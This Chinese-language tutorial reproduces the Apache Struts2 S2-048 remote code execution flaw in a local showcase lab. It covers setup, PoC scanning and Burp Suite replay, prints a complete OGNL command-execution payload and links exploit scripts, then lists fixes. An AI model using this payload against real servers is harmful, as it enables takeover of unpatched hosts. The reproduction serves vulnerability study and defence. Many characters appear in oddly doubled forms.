Struts2 S2-048高危漏洞復(fù)現(xiàn)!詳解幾個漏洞攻擊載荷利用的對比分析
原創(chuàng)【51CTO.com原創(chuàng)稿件】一、S2-048 漏洞綜述
1.1 漏洞背景
2017年7月7日,Apache Struts發(fā)布最新的安全公告,Apache Struts2-strus1-plugin插件存在遠程代碼執(zhí)行的高危漏洞,漏洞編號為CVE-2017-9791(S2-048),主要受影響的Struts版本為:2.3.x。
攻擊者可以構(gòu)造惡意的字段值(value)通過Struts2的struts2-struts1-plugin的插件傳遞給被攻擊主機,從而實現(xiàn)遠程代碼執(zhí)行攻擊,直接獲取遠程主機的控制權(quán)限。
1.2 漏洞產(chǎn)生原因
這個漏洞主要問題出在struts2-struts1-plugin這個插件包上。這個庫的主要作用就是將struts1的action封裝成struts2的action以便它能在strut2上運行使用。
而由于struts2-struts1-plugin 包中的 “Struts1Action.java” 中的 execute 函數(shù)可以調(diào)用 getText() 函數(shù),這個函數(shù)剛好又能執(zhí)行OGNL表達式,同事這個 getText() 的 參數(shù)輸入點,又可以被用戶直接進行控制,如果這個點被惡意攻擊者所控制,就可以構(gòu)造惡意執(zhí)行代碼,從而實現(xiàn)一個RCE攻擊。
1.3 漏洞影響范圍
Apache Struts 2.3.x系列中啟用了struts2-struts1-plugin插件的版本都在其影響的范圍內(nèi)。
二、漏洞環(huán)境部署
2.1 漏洞環(huán)境包
本次漏洞演示,我們可以直接使用struts2.3.x環(huán)境下自帶的struts2-showcase演示demo示例環(huán)境,進行S2-048漏洞復(fù)現(xiàn),故這里我們只介紹下struts2.3.x的環(huán)境包。(struts2-showcase 演示環(huán)境就存S2-048漏洞)
struts2.3.24環(huán)境包下載地址:http://archive.apache.org/dist/struts/2.3.24/
2.2 Tocat環(huán)境部署
工程師可以直接安裝一個XAMPP套件,其默認就帶有tomcat的支持,可以直接拿來進行struts環(huán)境的部署。
(1)啟動tomcat服務(wù)
(2)Tomcat 環(huán)境訪問
2.3 S2-048漏洞環(huán)境部署
(1)解壓struts-showcase
下載完struts2.3.24環(huán)境包后,我們直接將其“strus-showcase.war”的demo包解壓到tomcat的webapps環(huán)境目錄下(具體路徑依據(jù)個人實際環(huán)境來定,可參考下圖路徑)。
(2)重啟tomcat服務(wù)自動部署war包
tomcat中有關(guān)war的部署比較簡單,我們只需要將相關(guān)的war包放到tomcat的webapps目錄下后,重啟tomcat服務(wù)后,war包就會被自動解壓部署。
(3)漏洞環(huán)境訪問
本struts2-showcase demo示例中有關(guān)S2-048漏洞的觸發(fā)點在“Struts 1 Integration”(S1 整合)處,具體位置可參看下圖。
(4)漏洞環(huán)境驗證
我在這漏洞出發(fā)點可以直接使用OGNL語法直接操作一個運算 10-7,看其是否可以直接運行并輸出結(jié)果,通過驗證發(fā)現(xiàn)果然可以直接執(zhí)行并輸出正確的結(jié)果。
三、漏洞檢查與利用腳本
3.1 工具準(zhǔn)備
有關(guān)漏洞的檢查與利用,這里已經(jīng)收集好了相關(guān)的利用poc與腳本,相關(guān)使用方法都已經(jīng)梳理輸入如下,大家使用時,可以參考使用。
(1)工具包下載地址
https://github.com/W3bSafe-Team/Struts2-048-poc
(2) POC 使用方法
(3) shell 驗證exp
3.2 漏洞檢測
一般,我們在進行漏洞利用之前肯定需要進行漏洞的檢測與確認,這里直接使用前面下載的工具包中的一個批量檢測的POC(Struts048-POC.py),用其進行S2-048漏洞的檢測,具體檢測過程如下。
(1) 創(chuàng)建一個url.txt文檔,將需要檢測的URL連接收集放入其中,這里進行漏洞觸發(fā)點的檢查時,我們收集了多個目錄,其中包含了struts-showcase demo目錄下的各個路徑以及部署tomcat根目錄,看看漏洞的觸發(fā)是否有規(guī)律可循。
(2) 創(chuàng)建一個臨時文檔tmp.txt,必須創(chuàng)建,否則腳本執(zhí)行會報錯。
(3) 直接運行此python腳本;
通過POC對各個URL進行檢查后發(fā)現(xiàn),只要是在struts2-showcase目錄下的路徑,都可以做為漏洞觸發(fā)的利用點,而不在此目錄下,漏洞無法觸發(fā)。(那么在這里也告訴我們有關(guān)此S2-048漏洞的修復(fù)方法,就是刪除或者禁用此目錄。)
3.3 漏洞利用復(fù)現(xiàn)
接下來,我們使用網(wǎng)絡(luò)上提供的檢測腳本和抓包截斷的利用方式分別復(fù)現(xiàn)下漏洞的利用過程。
3.3.1 shell腳本利用復(fù)現(xiàn)
利用上一個章節(jié)檢測出的三個可以利用URL,我們直接使用漏洞利用shell進行漏洞利用復(fù)現(xiàn)。
注:由于需要使用Linux環(huán)境才能運行shell腳本,我這里開啟了kali,并將URL中的127.0.0.1的地址替換為10.48.8.234,請大家在看截圖過程,希望不要有什么疑惑。
(1)URL1利用:http://10.48.8.234:8080/struts2-showcase/integration/editGangster.action
(2)URL2利用:http://10.48.8.234:8080/struts2-showcase/integration/
(3)URL3利用:http://10.48.8.234:8080/struts2-showcase/
通過上面針對三個URL漏洞觸發(fā)點進入S2-048漏洞直接getshell利用驗證,更加嚴(yán)謹(jǐn)?shù)淖C實了只要是在showcase demo目錄下的URL路徑都可以直接被利用。
3.3.2 抓包截斷利用復(fù)現(xiàn)
如果我們仔細查看最近爆出的S2-045、S2-046、S2-048,該漏洞利用的payload 其實都是一樣的,不同的僅僅是觸發(fā)點不同,影響范圍不同而已。S2-045的影響方位最廣,只要是使用當(dāng)時的Struts2框架的系統(tǒng)基本都在其影響的范圍內(nèi),而后面的S2-046和S2-048漏洞的漏洞觸發(fā)點有一點的限制條件,本次S2-048漏洞的利用條件就是你在使用了 struts2-struts1-plugin插件的情況下,才會觸發(fā)漏洞的產(chǎn)生。
這里我們就復(fù)現(xiàn)下,使用與前期S2-045漏洞利用Content-type字段來傳遞攻擊payload到目標(biāo)主機的方法,來復(fù)現(xiàn)下S2-048漏洞的利用。
3.3.2.1 攻擊payload準(zhǔn)備
我直接使用前面下載的shell腳本的中的payload進行后續(xù)的抓包截斷攻擊的演示復(fù)現(xiàn)。
%{(#nike='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='whoami').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}
3.3.2.2 抓包截斷攻擊
- (1)第一步:首先使用burpsuite截斷“http://10.48.8.234:8080/struts2-showcase/integration/editGangster.action”訪問;
- (2)第二步:將當(dāng)前截斷數(shù)據(jù)包發(fā)送到repeater模塊,修改content-type字段為攻擊payload;
- (3)第三步:修改payload命令執(zhí)行字段為"whoami",發(fā)送攻擊包;
這里我將shell腳本中的045,046,048的payload攻擊載荷都放入burpsuite的repeater模塊進行了重復(fù)發(fā)包驗證,發(fā)現(xiàn)都可以利用成功,具體驗證情況如下。
- S2045 Payload驗證截圖
- S2046 Payload驗證截圖
通過上面burpsuite重復(fù)發(fā)包驗證,S2045、S2046、S2048的攻擊payload都可以對S2048漏洞進行遠程命令執(zhí)行,獲取主機的控制權(quán)限,這里我們會發(fā)現(xiàn)上半年暴露出的“S2045、S2046、S2048”攻擊載荷都是一樣的,只是漏洞的觸發(fā)點不同而已。
以上觀點僅個人漏洞復(fù)現(xiàn)利用歸納總結(jié)所得,如有什么有誤的地方,有路過的大神能給以指定,這里謝過。
四、 S2-048 漏洞修復(fù)與加固
(1)直接禁用 struts2-struts1-plugin插件;
(2)對于如果啟用 struts2-showcase 演示示例系統(tǒng),應(yīng)立即刪除本演示示例;
(3)升級當(dāng)前struts2 到最新版本;
(4)不要相信用戶端的任何數(shù)據(jù)輸入,建議開發(fā)者通過使用resource keys替代將原始消息直接傳遞給ActionMessage的方式,如:
messages.add("msg", new ActionMessage("struts1.gangsterAdded", gform.getName()));
漏洞學(xué)習(xí)參考
1. Struts2高危漏洞S2-048動態(tài)分析
http://www.moonsec.com/post-776.html
2. Struts(S2-048)遠程命令執(zhí)行漏洞分析
http://www.sohu.com/a/155509766_290304
3. Struts2-048 Poc Shell版本(附修復(fù)方案)
https://bbs.ichunqiu.com/thread-24504-1-1.html
https://github.com/W3bSafe-Team/Struts2-048-poc
4. Apache 官方說明
https://cwiki.apache.org/confluence/display/WW/S2-048
【51CTO原創(chuàng)稿件,合作站點轉(zhuǎn)載請注明原文作者和出處為51CTO.com】